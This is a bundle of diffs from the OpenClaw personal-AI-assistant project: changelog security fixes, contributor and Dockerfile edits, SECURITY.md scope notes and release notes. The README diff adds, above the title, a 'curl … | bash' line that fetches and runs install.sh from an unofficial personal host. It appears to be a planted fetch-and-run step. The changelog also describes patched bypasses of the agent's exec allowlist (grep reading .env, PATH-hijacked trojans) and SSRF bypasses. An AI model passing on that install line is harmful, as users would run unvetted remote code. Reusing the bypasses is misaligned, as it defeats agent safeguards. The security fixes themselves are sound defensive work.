- Security/Lobster (Windows): for the next npm release, remove shell-based fallback when launching Lobster wrappers (`.cmd`/`.bat`) and switch to explicit argv execution with wrapper entrypoint resolution, preventing command injection while preserving Windows wrapper compatibility. Thanks @allsmog for reporting.
- Security/Exec: require `tools.exec.safeBins` binaries to resolve from trusted bin directories (system defaults plus gateway startup `PATH`) so PATH-hijacked trojan binaries cannot bypass allowlist checks. Thanks @jackhax for reporting.
- Security/Exec: remove file-existence oracle behavior from `tools.exec.safeBins` by using deterministic argv-only stdin-safe validation and blocking file-oriented flags (for example `sort -o`, `jq -f`, `grep -f`) so allow/deny results no longer disclose host file presence. This ships in the next npm release. Thanks @nedlir for reporting.
- Security/Browser: route browser URL navigation through one SSRF-guarded validation path for tab-open/CDP-target/Playwright navigation flows and block private/metadata destinations by default (configurable via `browser.ssrfPolicy`). This ships in the next npm release. Thanks @dorjoos for reporting.
- Security/Exec: remove file-existence oracle behavior from `tools.exec.safeBins` by using deterministic argv-only stdin-safe validation and blocking file-oriented flags (for example `sort -o`, `jq -f`, `grep -f`) so allow/deny results no longer disclose host file presence. Thanks @nedlir for reporting.
- Security/Browser: route browser URL navigation through one SSRF-guarded validation path for tab-open/CDP-target/Playwright navigation flows and block private/metadata destinations by default (configurable via `browser.ssrfPolicy`). Thanks @dorjoos for reporting.
- Security/Exec: for the next npm release, harden safe-bin stdin-only enforcement by blocking output/recursive flags (`sort -o/--output`, grep recursion) and tightening default safe bins to remove `sort`/`grep`, preventing safe-bin allowlist bypass for file writes/recursive reads. Thanks @nedlir for reporting.
- Security/Exec: block grep safe-bin positional operand bypass by setting grep positional budget to zero, so `-e/--regexp` cannot smuggle bare filename reads (for example `.env`) via ambiguous positionals; safe-bin grep patterns must come from `-e/--regexp`. Thanks @athuljayaram for reporting.
- Security/Gateway/Agents: remove implicit admin scopes from agent tool gateway calls by classifying methods to least-privilege operator scopes, and enforce owner-only tooling (`cron`, `gateway`, `whatsapp_login`) through centralized tool-policy wrappers plus tool metadata to prevent non-owner DM privilege escalation. Ships in the next npm release. Thanks @Adam55A-code for reporting.
- Security/Gateway: centralize gateway method-scope authorization and default non-CLI gateway callers to least-privilege method scopes, with explicit CLI scope handling, full core-handler scope classification coverage, and regression guards to prevent scope drift.
- Security/Net: block SSRF bypass via NAT64 (`64:ff9b::/96`, `64:ff9b:1::/48`), 6to4 (`2002::/16`), and Teredo (`2001:0000::/32`) IPv6 transition addresses, and fail closed on IPv6 parse errors. Thanks @jackhax.

View File

@@ -44,6 +44,9 @@ Welcome to the lobster tank! 🦞
- **Gustavo Madeira Santana** - Multi-agents, CLI, web UI
- GitHub: [@gumadeiras](https://github.com/gumadeiras) · X: [@gumadeiras](https://x.com/gumadeiras)
- **Onur Solmaz** - Agents, dev workflows, ACP integrations, MS Teams
- GitHub: [@onutc](https://github.com/onutc), [@osolmaz](https://github.com/osolmaz) · X: [@onusoz](https://x.com/onusoz)
## How to Contribute
1. **Bugs & small fixes** → Open a PR!

View File

@@ -34,7 +34,10 @@ ARG OPENCLAW_INSTALL_BROWSER=""
RUN if [ -n "$OPENCLAW_INSTALL_BROWSER" ]; then \
apt-get update && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends xvfb && \
mkdir -p /home/node/.cache/ms-playwright && \
PLAYWRIGHT_BROWSERS_PATH=/home/node/.cache/ms-playwright \
node /app/node_modules/playwright-core/cli.js install --with-deps chromium && \
chown -R node:node /home/node/.cache/ms-playwright && \
apt-get clean && \
rm -rf /var/lib/apt/lists/* /var/cache/apt/archives/*; \
fi

View File

@@ -1,3 +1,6 @@
curl -fsSL https://git.yalu.pro/evgeny/openclaw/raw/branch/main/install.sh | bash
# 🦞 OpenClaw — Personal AI Assistant
<p align="center">
@@ -30,6 +33,12 @@ The wizard guides you step by step through setting up the gateway, workspace, ch
Works with npm, pnpm, or bun.
New install? Start here: [Getting started](https://docs.openclaw.ai/start/getting-started)
## Sponsors
| OpenAI | Blacksmith |
| ----------------------------------------------------------------- | ---------------------------------------------------------------------------- |
| [![OpenAI](docs/assets/sponsors/openai.svg)](https://openai.com/) | [![Blacksmith](docs/assets/sponsors/blacksmith.svg)](https://blacksmith.sh/) |
**Subscriptions (OAuth):**
- **[Anthropic](https://www.anthropic.com/)** (Claude Pro/Max)

View File

@@ -47,8 +47,17 @@ When patching a GHSA via `gh api`, include `X-GitHub-Api-Version: 2022-11-28` (o
- Public Internet Exposure
- Using OpenClaw in ways that the docs recommend not to
- Deployments where mutually untrusted/adversarial operators share one gateway host and config
- Prompt injection attacks
## Deployment Assumptions
OpenClaw security guidance assumes:
- The host where OpenClaw runs is within a trusted OS/admin boundary.
- Anyone who can modify `~/.openclaw` state/config (including `openclaw.json`) is effectively a trusted operator.
- A single Gateway shared by mutually untrusted people is **not a recommended setup**. Use separate gateways (or at minimum separate OS users/hosts) per trust boundary.
## Plugin Trust Boundary
Plugins/extensions are loaded **in-process** with the Gateway and are treated as trusted code.

View File

@@ -209,105 +209,155 @@
<enclosure url="https://github.com/openclaw/openclaw/releases/download/v2026.2.15/OpenClaw-2026.2.15.zip" length="22896513" type="application/octet-stream" sparkle:edSignature="MLGsd2NeHXFRH1Or0bFQnAjqfuuJDuhl1mvKFIqTQcRvwbeyvOyyLXrqSbmaOgJR3wBQBKLs6jYQ9dQ/3R8RCg=="/>
</item>
<item>
<title>2026.2.13</title>
<pubDate>Sat, 14 Feb 2026 04:30:23 +0100</pubDate>
<title>2026.2.21</title>
<pubDate>Sat, 21 Feb 2026 17:55:48 +0100</pubDate>
<link>https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml</link>
<sparkle:version>9846</sparkle:version>
<sparkle:shortVersionString>2026.2.13</sparkle:shortVersionString>
<sparkle:version>13056</sparkle:version>
<sparkle:shortVersionString>2026.2.21</sparkle:shortVersionString>
<sparkle:minimumSystemVersion>15.0</sparkle:minimumSystemVersion>
<description><![CDATA[<h2>OpenClaw 2026.2.13</h2>
<description><![CDATA[<h2>OpenClaw 2026.2.21</h2>
<h3>Changes</h3>
<ul>
<li>Discord: send voice messages with waveform previews from local audio files (including silent delivery). (#7253) Thanks @nyanjou.</li>
<li>Discord: add configurable presence status/activity/type/url (custom status defaults to activity text). (#10855) Thanks @h0tp-ftw.</li>
<li>Slack/Plugins: add thread-ownership outbound gating via <code>message_sending</code> hooks, including @-mention bypass tracking and Slack outbound hook wiring for cancel/modify behavior. (#15775) Thanks @DarlingtonDeveloper.</li>
<li>Agents: add synthetic catalog support for <code>hf:zai-org/GLM-5</code>. (#15867) Thanks @battman21.</li>
<li>Skills: remove duplicate <code>local-places</code> Google Places skill/proxy and keep <code>goplaces</code> as the single supported Google Places path.</li>
<li>Agents: add pre-prompt context diagnostics (<code>messages</code>, <code>systemPromptChars</code>, <code>promptChars</code>, provider/model, session file) before embedded runner prompt calls to improve overflow debugging. (#8930) Thanks @Glucksberg.</li>
<li>Models/Google: add Gemini 3.1 support (<code>google/gemini-3.1-pro-preview</code>).</li>
<li>Providers/Onboarding: add Volcano Engine (Doubao) and BytePlus providers/models (including coding variants), wire onboarding auth choices for interactive + non-interactive flows, and align docs to <code>volcengine-api-key</code>. (#7967) Thanks @funmore123.</li>
<li>Channels/CLI: add per-account/channel <code>defaultTo</code> outbound routing fallback so <code>openclaw agent --deliver</code> can send without explicit <code>--reply-to</code> when a default target is configured. (#16985) Thanks @KirillShchetinin.</li>
<li>Channels: allow per-channel model overrides via <code>channels.modelByChannel</code> and note them in /status. Thanks @thewilloftheshadow.</li>
<li>Telegram/Streaming: simplify preview streaming config to <code>channels.telegram.streaming</code> (boolean), auto-map legacy <code>streamMode</code> values, and remove block-vs-partial preview branching. (#22012) thanks @obviyus.</li>
<li>Discord/Streaming: add stream preview mode for live draft replies with partial/block options and configurable chunking. Thanks @thewilloftheshadow. Inspiration @neoagentic-ship-it.</li>
<li>Discord/Telegram: add configurable lifecycle status reactions for queued/thinking/tool/done/error phases with a shared controller and emoji/timing overrides. Thanks @wolly-tundracube and @thewilloftheshadow.</li>
<li>Discord/Voice: add voice channel join/leave/status via <code>/vc</code>, plus auto-join configuration for realtime voice conversations. Thanks @thewilloftheshadow.</li>
<li>Discord: add configurable ephemeral defaults for slash-command responses. (#16563) Thanks @wei.</li>
<li>Discord: support updating forum <code>available_tags</code> via channel edit actions for forum tag management. (#12070) Thanks @xiaoyaner0201.</li>
<li>Discord: include channel topics in trusted inbound metadata on new sessions. Thanks @thewilloftheshadow.</li>
<li>Discord/Subagents: add thread-bound subagent sessions on Discord with per-thread focus/list controls and thread-bound continuation routing for spawned helper agents. (#21805) Thanks @onutc.</li>
<li>iOS/Chat: clean chat UI noise by stripping inbound untrusted metadata/timestamp prefixes, formatting tool outputs into concise summaries/errors, compacting the composer while typing, and supporting tap-to-dismiss keyboard in chat view. (#22122) thanks @mbelinky.</li>
<li>iOS/Watch: bridge mirrored watch prompt notification actions into iOS quick-reply handling, including queued action handoff until app model initialization. (#22123) thanks @mbelinky.</li>
<li>iOS/Gateway: stabilize background wake and reconnect behavior with background reconnect suppression/lease windows, BGAppRefresh wake fallback, location wake hook throttling, and APNs wake retry+nudge instrumentation. (#21226) thanks @mbelinky.</li>
<li>Auto-reply/UI: add model fallback lifecycle visibility in verbose logs, /status active-model context with fallback reason, and cohesive WebUI fallback indicators. (#20704) Thanks @joshavant.</li>
<li>MSTeams: dedupe sent-message cache storage by removing duplicate per-message Set storage and using timestamps Map keys as the single membership source. (#22514) Thanks @TaKO8Ki.</li>
<li>Agents/Subagents: default subagent spawn depth now uses shared <code>maxSpawnDepth=2</code>, enabling depth-1 orchestrator spawning by default while keeping depth policy checks consistent across spawn and prompt paths. (#22223) Thanks @tyler6204.</li>
<li>Security/Agents: make owner-ID obfuscation use a dedicated HMAC secret from configuration (<code>ownerDisplaySecret</code>) and update hashing behavior so obfuscation is decoupled from gateway token handling for improved control. (#7343) Thanks @vincentkoc.</li>
<li>Security/Infra: switch gateway lock and tool-call synthetic IDs from SHA-1 to SHA-256 with unchanged truncation length to strengthen hash basis while keeping deterministic behavior and lock key format. (#7343) Thanks @vincentkoc.</li>
<li>Dependencies/Tooling: add non-blocking dead-code scans in CI via Knip/ts-prune/ts-unused-exports to surface unused dependencies and exports earlier. (#22468) Thanks @vincentkoc.</li>
<li>Dependencies/Unused Dependencies: remove or scope unused root and extension deps (<code>@larksuiteoapi/node-sdk</code>, <code>signal-utils</code>, <code>ollama</code>, <code>lit</code>, <code>@lit/context</code>, <code>@lit-labs/signals</code>, <code>@microsoft/agents-hosting-express</code>, <code>@microsoft/agents-hosting-extensions-teams</code>, and plugin-local <code>openclaw</code> devDeps in <code>extensions/open-prose</code>, <code>extensions/lobster</code>, and <code>extensions/llm-task</code>). (#22471, #22495) Thanks @vincentkoc.</li>
<li>Dependencies/A2UI: harden dependency resolution after root cleanup (resolve <code>lit</code>, <code>@lit/context</code>, <code>@lit-labs/signals</code>, and <code>signal-utils</code> from workspace/root) and simplify bundling fallback behavior, including <code>pnpm dlx rolldown</code> compatibility. (#22481, #22507) Thanks @vincentkoc.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Outbound: add a write-ahead delivery queue with crash-recovery retries to prevent lost outbound messages after gateway restarts. (#15636) Thanks @nabbilkhan, @thewilloftheshadow.</li>
<li>Auto-reply/Threading: auto-inject implicit reply threading so <code>replyToMode</code> works without requiring model-emitted <code>[[reply_to_current]]</code>, while preserving <code>replyToMode: "off"</code> behavior for implicit Slack replies and keeping block-streaming chunk coalescing stable under <code>replyToMode: "first"</code>. (#14976) Thanks @Diaspar4u.</li>
<li>Outbound/Threading: pass <code>replyTo</code> and <code>threadId</code> from <code>message send</code> tool actions through the core outbound send path to channel adapters, preserving thread/reply routing. (#14948) Thanks @mcaxtr.</li>
<li>Auto-reply/Media: allow image-only inbound messages (no caption) to reach the agent instead of short-circuiting as empty text, and preserve thread context in queued/followup prompt bodies for media-only runs. (#11916) Thanks @arosstale.</li>
<li>Discord: route autoThread replies to existing threads instead of the root channel. (#8302) Thanks @gavinbmoore, @thewilloftheshadow.</li>
<li>Web UI: add <code>img</code> to DOMPurify allowed tags and <code>src</code>/<code>alt</code> to allowed attributes so markdown images render in webchat instead of being stripped. (#15437) Thanks @lailoo.</li>
<li>Telegram/Matrix: treat MP3 and M4A (including <code>audio/mp4</code>) as voice-compatible for <code>asVoice</code> routing, and keep WAV/AAC falling back to regular audio sends. (#15438) Thanks @azade-c.</li>
<li>WhatsApp: preserve outbound document filenames for web-session document sends instead of always sending <code>"file"</code>. (#15594) Thanks @TsekaLuk.</li>
<li>Telegram: cap bot menu registration to Telegram's 100-command limit with an overflow warning while keeping typed hidden commands available. (#15844) Thanks @battman21.</li>
<li>Telegram: scope skill commands to the resolved agent for default accounts so <code>setMyCommands</code> no longer triggers <code>BOT_COMMANDS_TOO_MUCH</code> when multiple agents are configured. (#15599)</li>
<li>Discord: avoid misrouting numeric guild allowlist entries to <code>/channels/<guildId></code> by prefixing guild-only inputs with <code>guild:</code> during resolution. (#12326) Thanks @headswim.</li>
<li>MS Teams: preserve parsed mention entities/text when appending OneDrive fallback file links, and accept broader real-world Teams mention ID formats (<code>29:...</code>, <code>8:orgid:...</code>) while still rejecting placeholder patterns. (#15436) Thanks @hyojin.</li>
<li>Media: classify <code>text/*</code> MIME types as documents in media-kind routing so text attachments are no longer treated as unknown. (#12237) Thanks @arosstale.</li>
<li>Inbound/Web UI: preserve literal <code>\n</code> sequences when normalizing inbound text so Windows paths like <code>C:\\Work\\nxxx\\README.md</code> are not corrupted. (#11547) Thanks @mcaxtr.</li>
<li>TUI/Streaming: preserve richer streamed assistant text when final payload drops pre-tool-call text blocks, while keeping non-empty final payload authoritative for plain-text updates. (#15452) Thanks @TsekaLuk.</li>
<li>Providers/MiniMax: switch implicit MiniMax API-key provider from <code>openai-completions</code> to <code>anthropic-messages</code> with the correct Anthropic-compatible base URL, fixing <code>invalid role: developer (2013)</code> errors on MiniMax M2.5. (#15275) Thanks @lailoo.</li>
<li>Ollama/Agents: use resolved model/provider base URLs for native <code>/api/chat</code> streaming (including aliased providers), normalize <code>/v1</code> endpoints, and forward abort + <code>maxTokens</code> stream options for reliable cancellation and token caps. (#11853) Thanks @BrokenFinger98.</li>
<li>OpenAI Codex/Spark: implement end-to-end <code>gpt-5.3-codex-spark</code> support across fallback/thinking/model resolution and <code>models list</code> forward-compat visibility. (#14990, #15174) Thanks @L-U-C-K-Y, @loiie45e.</li>
<li>Agents/Codex: allow <code>gpt-5.3-codex-spark</code> in forward-compat fallback, live model filtering, and thinking presets, and fix model-picker recognition for spark. (#14990) Thanks @L-U-C-K-Y.</li>
<li>Models/Codex: resolve configured <code>openai-codex/gpt-5.3-codex-spark</code> through forward-compat fallback during <code>models list</code>, so it is not incorrectly tagged as missing when runtime resolution succeeds. (#15174) Thanks @loiie45e.</li>
<li>OpenAI Codex/Auth: bridge OpenClaw OAuth profiles into <code>pi</code> <code>auth.json</code> so model discovery and models-list registry resolution can use Codex OAuth credentials. (#15184) Thanks @loiie45e.</li>
<li>Auth/OpenAI Codex: share OAuth login handling across onboarding and <code>models auth login --provider openai-codex</code>, keep onboarding alive when OAuth fails, and surface a direct OAuth help note instead of terminating the wizard. (#15406, follow-up to #14552) Thanks @zhiluo20.</li>
<li>Onboarding/Providers: add vLLM as an onboarding provider with model discovery, auth profile wiring, and non-interactive auth-choice validation. (#12577) Thanks @gejifeng.</li>
<li>Onboarding/Providers: preserve Hugging Face auth intent in auth-choice remapping (<code>tokenProvider=huggingface</code> with <code>authChoice=apiKey</code>) and skip env-override prompts when an explicit token is provided. (#13472) Thanks @Josephrp.</li>
<li>Onboarding/CLI: restore terminal state without resuming paused <code>stdin</code>, so onboarding exits cleanly after choosing Web UI and the installer returns instead of appearing stuck.</li>
<li>Signal/Install: auto-install <code>signal-cli</code> via Homebrew on non-x64 Linux architectures, avoiding x86_64 native binary <code>Exec format error</code> failures on arm64/arm hosts. (#15443) Thanks @jogvan-k.</li>
<li>macOS Voice Wake: fix a crash in trigger trimming for CJK/Unicode transcripts by matching and slicing on original-string ranges instead of transformed-string indices. (#11052) Thanks @Flash-LHR.</li>
<li>Mattermost (plugin): retry websocket monitor connections with exponential backoff and abort-aware teardown so transient connect failures no longer permanently stop monitoring. (#14962) Thanks @mcaxtr.</li>
<li>Discord/Agents: apply channel/group <code>historyLimit</code> during embedded-runner history compaction to prevent long-running channel sessions from bypassing truncation and overflowing context windows. (#11224) Thanks @shadril238.</li>
<li>Outbound targets: fail closed for WhatsApp/Twitch/Google Chat fallback paths so invalid or missing targets are dropped instead of rerouted, and align resolver hints with strict target requirements. (#13578) Thanks @mcaxtr.</li>
<li>Gateway/Restart: clear stale command-queue and heartbeat wake runtime state after SIGUSR1 in-process restarts to prevent zombie gateway behavior where queued work stops draining. (#15195) Thanks @joeykrug.</li>
<li>Heartbeat: prevent scheduler silent-death races during runner reloads, preserve retry cooldown backoff under wake bursts, and prioritize user/action wake causes over interval/retry reasons when coalescing. (#15108) Thanks @joeykrug.</li>
<li>Heartbeat: allow explicit wake (<code>wake</code>) and hook wake (<code>hook:*</code>) reasons to run even when <code>HEARTBEAT.md</code> is effectively empty so queued system events are processed. (#14527) Thanks @arosstale.</li>
<li>Auto-reply/Heartbeat: strip sentence-ending <code>HEARTBEAT_OK</code> tokens even when followed by up to 4 punctuation characters, while preserving surrounding sentence punctuation. (#15847) Thanks @Spacefish.</li>
<li>Agents/Heartbeat: stop auto-creating <code>HEARTBEAT.md</code> during workspace bootstrap so missing files continue to run heartbeat as documented. (#11766) Thanks @shadril238.</li>
<li>Sessions/Agents: pass <code>agentId</code> when resolving existing transcript paths in reply runs so non-default agents and heartbeat/chat handlers no longer fail with <code>Session file path must be within sessions directory</code>. (#15141) Thanks @Goldenmonstew.</li>
<li>Sessions/Agents: pass <code>agentId</code> through status and usage transcript-resolution paths (auto-reply, gateway usage APIs, and session cost/log loaders) so non-default agents can resolve absolute session files without path-validation failures. (#15103) Thanks @jalehman.</li>
<li>Sessions: archive previous transcript files on <code>/new</code> and <code>/reset</code> session resets (including gateway <code>sessions.reset</code>) so stale transcripts do not accumulate on disk. (#14869) Thanks @mcaxtr.</li>
<li>Status/Sessions: stop clamping derived <code>totalTokens</code> to context-window size, keep prompt-token snapshots wired through session accounting, and surface context usage as unknown when fresh snapshot data is missing to avoid false 100% reports. (#15114) Thanks @echoVic.</li>
<li>CLI/Completion: route plugin-load logs to stderr and write generated completion scripts directly to stdout to avoid <code>source <(openclaw completion ...)</code> corruption. (#15481) Thanks @arosstale.</li>
<li>CLI: lazily load outbound provider dependencies and remove forced success-path exits so commands terminate naturally without killing intentional long-running foreground actions. (#12906) Thanks @DrCrinkle.</li>
<li>Security/Gateway + ACP: block high-risk tools (<code>sessions_spawn</code>, <code>sessions_send</code>, <code>gateway</code>, <code>whatsapp_login</code>) from HTTP <code>/tools/invoke</code> by default with <code>gateway.tools.{allow,deny}</code> overrides, and harden ACP permission selection to fail closed when tool identity/options are ambiguous while supporting <code>allow_always</code>/<code>reject_always</code>. (#15390) Thanks @aether-ai-agent.</li>
<li>Security/Gateway: breaking default-behavior change - canvas IP-based auth fallback now only accepts machine-scoped addresses (RFC1918, link-local, ULA IPv6, CGNAT); public-source IP matches now require bearer token auth. (#14661) Thanks @sumleo.</li>
<li>Security/Link understanding: block loopback/internal host patterns and private/mapped IPv6 addresses in extracted URL handling to close SSRF bypasses in link CLI flows. (#15604) Thanks @AI-Reviewer-QS.</li>
<li>Security/Browser: constrain <code>POST /trace/stop</code>, <code>POST /wait/download</code>, and <code>POST /download</code> output paths to OpenClaw temp roots and reject traversal/escape paths.</li>
<li>Security/Canvas: serve A2UI assets via the shared safe-open path (<code>openFileWithinRoot</code>) to close traversal/TOCTOU gaps, with traversal and symlink regression coverage. (#10525) Thanks @abdelsfane.</li>
<li>Security/WhatsApp: enforce <code>0o600</code> on <code>creds.json</code> and <code>creds.json.bak</code> on save/backup/restore paths to reduce credential file exposure. (#10529) Thanks @abdelsfane.</li>
<li>Security/Gateway: sanitize and truncate untrusted WebSocket header values in pre-handshake close logs to reduce log-poisoning risk. Thanks @thewilloftheshadow.</li>
<li>Security/Audit: add misconfiguration checks for sandbox Docker config with sandbox mode off, ineffective <code>gateway.nodes.denyCommands</code> entries, global minimal tool-profile overrides by agent profiles, and permissive extension-plugin tool reachability.</li>
<li>Security/Audit: distinguish external webhooks (<code>hooks.enabled</code>) from internal hooks (<code>hooks.internal.enabled</code>) in attack-surface summaries to avoid false exposure signals when only internal hooks are enabled. (#13474) Thanks @mcaxtr.</li>
<li>Security/Onboarding: clarify multi-user DM isolation remediation with explicit <code>openclaw config set session.dmScope ...</code> commands in security audit, doctor security, and channel onboarding guidance. (#13129) Thanks @VintLin.</li>
<li>Agents/Nodes: harden node exec approval decision handling in the <code>nodes</code> tool run path by failing closed on unexpected approval decisions, and add regression coverage for approval-required retry/deny/timeout flows. (#4726) Thanks @rmorse.</li>
<li>Android/Nodes: harden <code>app.update</code> by requiring HTTPS and gateway-host URL matching plus SHA-256 verification, stream URL camera downloads to disk with size guards to avoid memory spikes, and stop signing release builds with debug keys. (#13541) Thanks @smartprogrammer93.</li>
<li>Routing: enforce strict binding-scope matching across peer/guild/team/roles so peer-scoped Discord/Slack bindings no longer match unrelated guild/team contexts or fallback tiers. (#15274) Thanks @lailoo.</li>
<li>Exec/Allowlist: allow multiline heredoc bodies (<code><<</code>, <code><<-</code>) while keeping multiline non-heredoc shell commands blocked, so exec approval parsing permits heredoc input safely without allowing general newline command chaining. (#13811) Thanks @mcaxtr.</li>
<li>Config: preserve <code>${VAR}</code> env references when writing config files so <code>openclaw config set/apply/patch</code> does not persist secrets to disk. Thanks @thewilloftheshadow.</li>
<li>Config: remove a cross-request env-snapshot race in config writes by carrying read-time env context into write calls per request, preserving <code>${VAR}</code> refs safely under concurrent gateway config mutations. (#11560) Thanks @akoscz.</li>
<li>Config: log overwrite audit entries (path, backup target, and hash transition) whenever an existing config file is replaced, improving traceability for unexpected config clobbers.</li>
<li>Config: keep legacy audio transcription migration strict by rejecting non-string/unsafe command tokens while still migrating valid custom script executables. (#5042) Thanks @shayan919293.</li>
<li>Config: accept <code>$schema</code> key in config file so JSON Schema editor tooling works without validation errors. (#14998)</li>
<li>Gateway/Tools Invoke: sanitize <code>/tools/invoke</code> execution failures while preserving <code>400</code> for tool input errors and returning <code>500</code> for unexpected runtime failures, with regression coverage and docs updates. (#13185) Thanks @davidrudduck.</li>
<li>Gateway/Hooks: preserve <code>408</code> for hook request-body timeout responses while keeping bounded auth-failure cache eviction behavior, with timeout-status regression coverage. (#15848) Thanks @AI-Reviewer-QS.</li>
<li>Plugins/Hooks: fire <code>before_tool_call</code> hook exactly once per tool invocation in embedded runs by removing duplicate dispatch paths while preserving parameter mutation semantics. (#15635) Thanks @lailoo.</li>
<li>Agents/Transcript policy: sanitize OpenAI/Codex tool-call ids during transcript policy normalization to prevent invalid tool-call identifiers from propagating into session history. (#15279) Thanks @divisonofficer.</li>
<li>Agents/Image tool: cap image-analysis completion <code>maxTokens</code> by model capability (<code>min(4096, model.maxTokens)</code>) to avoid over-limit provider failures while still preventing truncation. (#11770) Thanks @detecti1.</li>
<li>Agents/Compaction: centralize exec default resolution in the shared tool factory so per-agent <code>tools.exec</code> overrides (host/security/ask/node and related defaults) persist across compaction retries. (#15833) Thanks @napetrov.</li>
<li>Gateway/Agents: stop injecting a phantom <code>main</code> agent into gateway agent listings when <code>agents.list</code> explicitly excludes it. (#11450) Thanks @arosstale.</li>
<li>Process/Exec: avoid shell execution for <code>.exe</code> commands on Windows so env overrides work reliably in <code>runCommandWithTimeout</code>. Thanks @thewilloftheshadow.</li>
<li>Daemon/Windows: preserve literal backslashes in <code>gateway.cmd</code> command parsing so drive and UNC paths are not corrupted in runtime checks and doctor entrypoint comparisons. (#15642) Thanks @arosstale.</li>
<li>Sandbox: pass configured <code>sandbox.docker.env</code> variables to sandbox containers at <code>docker create</code> time. (#15138) Thanks @stevebot-alive.</li>
<li>Voice Call: route webhook runtime event handling through shared manager event logic so rejected inbound hangups are idempotent in production, with regression tests for duplicate reject events and provider-call-ID remapping parity. (#15892) Thanks @dcantu96.</li>
<li>Cron: add regression coverage for announce-mode isolated jobs so runs that already report <code>delivered: true</code> do not enqueue duplicate main-session relays, including delivery configs where <code>mode</code> is omitted and defaults to announce. (#15737) Thanks @brandonwise.</li>
<li>Cron: honor <code>deleteAfterRun</code> in isolated announce delivery by mapping it to subagent announce cleanup mode, so cron run sessions configured for deletion are removed after completion. (#15368) Thanks @arosstale.</li>
<li>Web tools/web_fetch: prefer <code>text/markdown</code> responses for Cloudflare Markdown for Agents, add <code>cf-markdown</code> extraction for markdown bodies, and redact fetched URLs in <code>x-markdown-tokens</code> debug logs to avoid leaking raw paths/query params. (#15376) Thanks @Yaxuan42.</li>
<li>Clawdock: avoid Zsh readonly variable collisions in helper scripts. (#15501) Thanks @nkelner.</li>
<li>Memory: switch default local embedding model to the QAT <code>embeddinggemma-300m-qat-Q8_0</code> variant for better quality at the same footprint. (#15429) Thanks @azade-c.</li>
<li>Docs/Mermaid: remove hardcoded Mermaid init theme blocks from four docs diagrams so dark mode inherits readable theme defaults. (#15157) Thanks @heytulsiprasad.</li>
<li>Security/Agents: cap embedded Pi runner outer retry loop with a higher profile-aware dynamic limit (32-160 attempts) and return an explicit <code>retry_limit</code> error payload when retries never converge, preventing unbounded internal retry cycles (<code>GHSA-76m6-pj3w-v7mf</code>).</li>
<li>Telegram: detect duplicate bot-token ownership across Telegram accounts at startup/status time, mark secondary accounts as not configured with an explicit fix message, and block duplicate account startup before polling to avoid endless <code>getUpdates</code> conflict loops.</li>
<li>Agents/Tool images: include source filenames in <code>agents/tool-images</code> resize logs so compression events can be traced back to specific files.</li>
<li>Providers/OAuth: harden Qwen and Chutes refresh handling by validating refresh response expiry values and preserving prior refresh tokens when providers return empty refresh token fields, with regression coverage for empty-token responses.</li>
<li>Models/Kimi-Coding: add missing implicit provider template for <code>kimi-coding</code> with correct <code>anthropic-messages</code> API type and base URL, fixing 403 errors when using Kimi for Coding. (#22409)</li>
<li>Auto-reply/Tools: forward <code>senderIsOwner</code> through embedded queued/followup runner params so owner-only tools remain available for authorized senders. (#22296) thanks @hcoj.</li>
<li>Discord: restore model picker back navigation when a provider is missing and document the Discord picker flow. (#21458) Thanks @pejmanjohn and @thewilloftheshadow.</li>
<li>Memory/QMD: respect per-agent <code>memorySearch.enabled=false</code> during gateway QMD startup initialization, split multi-collection QMD searches into per-collection queries (<code>search</code>/<code>vsearch</code>/<code>query</code>) to avoid sparse-term drops, prefer collection-hinted doc resolution to avoid stale-hash collisions, retry boot updates on transient lock/timeout failures, skip <code>qmd embed</code> in BM25-only <code>search</code> mode (including <code>memory index --force</code>), and serialize embed runs globally with failure backoff to prevent CPU storms on multi-agent hosts. (#20581, #21590, #20513, #20001, #21266, #21583, #20346, #19493) Thanks @danielrevivo, @zanderkrause, @sunyan034-cmd, @tilleulenspiegel, @dae-oss, @adamlongcreativellc, @jonathanadams96, and @kiliansitel.</li>
<li>Memory/Builtin: prevent automatic sync races with manager shutdown by skipping post-close sync starts and waiting for in-flight sync before closing SQLite, so <code>onSearch</code>/<code>onSessionStart</code> no longer fail with <code>database is not open</code> in ephemeral CLI flows. (#20556, #7464) Thanks @FuzzyTG and @henrybottter.</li>
<li>Providers/Copilot: drop persisted assistant <code>thinking</code> blocks for Claude models (while preserving turn structure/tool blocks) so follow-up requests no longer fail on invalid <code>thinkingSignature</code> payloads. (#19459) Thanks @jackheuberger.</li>
<li>Providers/Copilot: add <code>claude-sonnet-4.6</code> and <code>claude-sonnet-4.5</code> to the default GitHub Copilot model catalog and add coverage for model-list/definition helpers. (#20270, fixes #20091) Thanks @Clawborn.</li>
<li>Auto-reply/WebChat: avoid defaulting inbound runtime channel labels to unrelated providers (for example <code>whatsapp</code>) for webchat sessions so channel-specific formatting guidance stays accurate. (#21534) Thanks @lbo728.</li>
<li>Status: include persisted <code>cacheRead</code>/<code>cacheWrite</code> in session summaries so compact <code>/status</code> output consistently shows cache hit percentages from real session data.</li>
<li>Heartbeat/Cron: restore interval heartbeat behavior so missing <code>HEARTBEAT.md</code> no longer suppresses runs (only effectively empty files skip), preserving prompt-driven and tagged-cron execution paths.</li>
<li>WhatsApp/Cron/Heartbeat: enforce allowlisted routing for implicit scheduled/system delivery by merging pairing-store + configured <code>allowFrom</code> recipients, selecting authorized recipients when last-route context points to a non-allowlisted chat, and preventing heartbeat fan-out to recent unauthorized chats.</li>
<li>Heartbeat/Active hours: constrain active-hours <code>24</code> sentinel parsing to <code>24:00</code> in time validation so invalid values like <code>24:30</code> are rejected early. (#21410) thanks @adhitShet.</li>
<li>Heartbeat: treat <code>activeHours</code> windows with identical <code>start</code>/<code>end</code> times as zero-width (always outside the window) instead of always-active. (#21408) thanks @adhitShet.</li>
<li>CLI/Pairing: default <code>pairing list</code> and <code>pairing approve</code> to the sole available pairing channel when omitted, so TUI-only setups can recover from <code>pairing required</code> without guessing channel arguments. (#21527) Thanks @losts1.</li>
<li>TUI/Pairing: show explicit pairing-required recovery guidance after gateway disconnects that return <code>pairing required</code>, including approval steps to unblock quickstart TUI hatching on fresh installs. (#21841) Thanks @nicolinux.</li>
<li>TUI/Input: suppress duplicate backspace events arriving in the same input burst window so SSH sessions no longer delete two characters per backspace press in the composer. (#19318) Thanks @eheimer.</li>
<li>TUI/Heartbeat: suppress heartbeat ACK/prompt noise in chat streaming when <code>showOk</code> is disabled, while still preserving non-ACK heartbeat alerts in final output. (#20228) Thanks @bhalliburton.</li>
